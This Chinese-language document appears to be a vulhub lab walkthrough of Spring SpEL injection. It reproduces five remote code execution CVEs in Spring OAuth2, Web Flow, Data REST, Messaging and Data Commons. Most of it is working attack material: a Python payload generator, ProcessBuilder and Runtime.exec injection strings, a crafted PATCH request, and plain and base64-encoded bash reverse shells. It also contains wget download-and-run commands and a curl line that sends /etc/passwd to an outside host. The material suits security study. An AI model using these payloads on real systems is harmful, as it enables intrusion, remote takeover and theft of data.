理解SpEL
1)SpEL是什么
SpEL是基于Spring的一个表达式语言,类似于Struts2的 OGNL,能够在运行时动态执行一些运算或指令,类似于Java的反射功能。共分为三类:
一. 直接在注解中使用
二. 在XML文件中使用
三. 在代码块中使用
2)SpEL能做什么
(1)基本表达式:
逻辑运算、三目运算(条件运算符)、正则表达式等等。
(2)类操作表达式:
对象方法调用、对象属性引用、自定义函数、类实例化等等。
(3)集合操作表达式:
字典的访问、投影和修改等等。
(4)其它表达式:
模板表达式。
3)SpEL原理
(1)表达式:传入的字符串内容。
(2)解析器:将字符串解析为表达式内容。
(3)上下文:表达式对象执行的环境。
(4)根对象:默认的活动上下文对象。
(5)活动上下文对象:当前表达式操作的对象。
Spring框架特征
1、如果Web应用程序 favicon.ico 的图标默认没有修改,显示是一个小绿叶。
2、如果SpringBoot Web应用默认 4xx、5xx的报错页面没有被修改,会报错如下图:
3、Wappalyzer 插件识别。
4、F12查看指纹。
X-Application-Context
1、Spring Security OAuth2远程命令执行(CVE-2016-4977)
漏洞原理:
该漏洞是在有账号密码的前提下实现RCE。
Spring Security OAuth是为Spring框架提供安全认证支持的一个模块。在其使用 whitelabel views来处理错误时,由于使用 SpEL,攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
影响版本:
2.0.0-2.0.9
1.0.0-1.0.5
复现操作:
验证漏洞是否存在:
首先进行登录认证,输入admin/admin即可。
http://192.168.109.147:8080/oauth/authorize?response_type=${9*9}&client_id=acme&scope=openid&redirect_uri=http://test
跳转出了认证错误页面,但页面中返回执行了输入的SpEL表达式。
vulhub提供的poc:
#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord (message[0])
for ch in message[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
print(poc)
poc调用了java命令执行的函数java.lang.Runtime.getRuntime().exec来构造,因为还需要满足SpEL表达式的结构,所以对输入的命令进行了变形,将命令的每个字符转化为ASCII码配合java的tostring方法并且用concat将所有字符拼接在一起最后传入exec执行。
放入POC即可:
http://192.168.109.147:8080/oauth/authorize?response_type=${放入POC}&client_id=acme&scope=openid&redirect_uri=http://test
无回显,但命令实际上是执行了。
XXE测试:
curl 192.168.109.9:8989 -d "$(cat /etc/passwd)"
回显到 cat 后面就没了,所以要绕过java反弹shell的限制,需进行二次编码。
反弹shell:
需要将命令进行二次变形。
http://www.jackson-t.ca/runtime-exec-payloads.html
bash -i >& /dev/tcp/192.168.109.9/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
编码后获得了反弹shell并正常交互。
2、Spring Web Flow框架远程代码执行(CVE-2017-4971)
漏洞简介:
Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
在其 2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,从而造成任意命令执行。
利用条件:
在订阅图书处,存在一个命令执行,直接调用了两个函数:addDefaultMappings 和 addModelBindings。其中,控制field这个值的函数是 addDefaultMappings,且未做过滤,而 addModelBindings 是直接获取的java的一个配置文件,由配置文件确定是否有 binder 节点。如果有,就无法触发代码执行。所以利用条件有两个:
1、binder节点为空。
2、useSpringBeanBinding 默认值(false)未修改。
影响版本:
Spring WebFlow 2.4.0 - 2.4.4
复现操作:
访问靶机
验证漏洞是否存在
http://192.168.109.147:8080/login
访问后,用页面左边的任意账号登陆系统。
然后访问id为1的酒店地址
http://192.168.109.147:8080/hotels/1
点击"Book Hotel"预订按钮,填写相关信息后点击"Process"(WebFlow从这一步正式开始)
Credit Card 应为16位数,再点击"Confirm"。
此时抓包,会抓到一个POST数据包。
原POC:
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.109.9/8888 0>&1")).start()=vulhub
URL编码后:
_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.109.9/8888 0>%261")).start()=vulhub
成功反弹shell。
修改EXP
执行命令:
&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.109.9:8000/1")
执行上一步下载的脚本:
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/1")
3、Spring Data Rest远程命令执行(CVE-2017-8046)
漏洞简介:
Spring-Data-Rest 服务器在处理PATCH请求时存在一个远程代码执行漏洞。攻击者可以构造恶意的PATCH请求并发送给Spring-Data-Rest 服务器,通过构造好的 JSON数据执行任意 Java代码。
影响版本:
Spring Data REST < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot < 2.0.0M4
Spring Data release trains < Kay-RC3
复现操作:
访问靶机。
看到 json格式的返回值,说明这是一个 Restful风格的API服务器。
Restful风格API:
https://www.jianshu.com/p/73d2415956bd
验证漏洞是否存在:
http://192.168.109.147:8080/customers/1
利用burp抓包,使用 PATCH请求修改资源包。
POC :
PATCH的值是 SpEL表达式,添加请求头为Content-Type:application/json-patch+json ,而且命令需要改为10进制编码。
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
成功创建文件。
反弹shell:
bash -i >& /dev/tcp/192.168.109.9/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}"))))
填入POC中即可。
成功反弹shell。
4、Spring Messaging 远程命令执行突破(CVE-2018-1270)
漏洞简介:
Spring框架中的 spring-messaging 模块提供了一种基于 WebSocket的 STOMP 协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messages中,其允许客户端订阅消息,并使用 selector过滤消息,selector用SpEL表达式编写,并使用 StandardEvaluationContext解析,攻击者可以通过构造恶意的消息来实现远程代码执行。
STOMP(简单文本定向消息协议):
STOMP是一种在客户端与中转服务端之间进行异步消息传输的简单通用协议。它定义了服务端与客户端之间的格式化文本传输方式。这个协议可以有多种载体,可以通过HTTP或WebSocket。在Spring中使用的是 STOMP Over WebSocket。
当Client和Server已经有了一个会话。现在需要规定一种格式,让双方都理解说的是什么,这种格式就是STOMP来统一的。
STOMP的每一个包由三个部分组成:COMMAND、Header、Body
结构简化为:
COMMAND
header1:value1
header2:value2
Body
STOMP如何进行订阅?
客户端使用 SUBSCRIBE 订阅命令,向 Stomp服务代理订阅某一个虚拟路径上的监听。当其它客户端使用 SEND命令发送内容到路径上时,这个客户端就可以收到这个消息。在使用 SUBSCRIBE时,有一个重要的 ACK属性。这个 ACK属性说明了 STOMP服务代理端发送给这个客户端的消息是否需要收到一个 ACK命令,才认为这个消息处理成功。
影响版本:
Spring Framework 5.0 to 5.0.4.
Spring Framework 4.3 to 4.3.14
复现操作:
访问靶机
http://192.168.109.147:8080/gs-guide-websocket
POC原理:
Spring Messaging是基于sockjs(一个通信协议),而sockjs适配多种浏览器。现代浏览器中使用WebSocket通信,老式浏览器使用 ajax通信。
连接后端服务器的流程:
用STOMP协议将数据组合成一个文本流。
用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocket或xhr(http),与后端通信。
根据需求修改POC,vulhub环境,只需修改url即可。在vulhub中,向/app/hello发送一个包含name的json,触发了某一个订阅地址(即如何让后端像这个订阅发送消息)。实战中会有所不同。
反弹shell
bash -i >& /dev/tcp/192.168.109.9/8888 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS45Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
成功反弹shell。
5、Spring Data Commons 远程命令执行(CVE-2018-1273)
漏洞简介:
Spring Data 是一个简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞。
影响版本:
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
复现操作:
访问靶机
http://192.168.109.147:8080/users
验证漏洞是否存在
成功远程代码执行。
反弹shell:
/usr/bin/wget -qO /tmp/shell.sh http://192.168.253.65/shell.sh
执行bash
/bin/bash /tmp/shell.sh
成功获得反弹shell。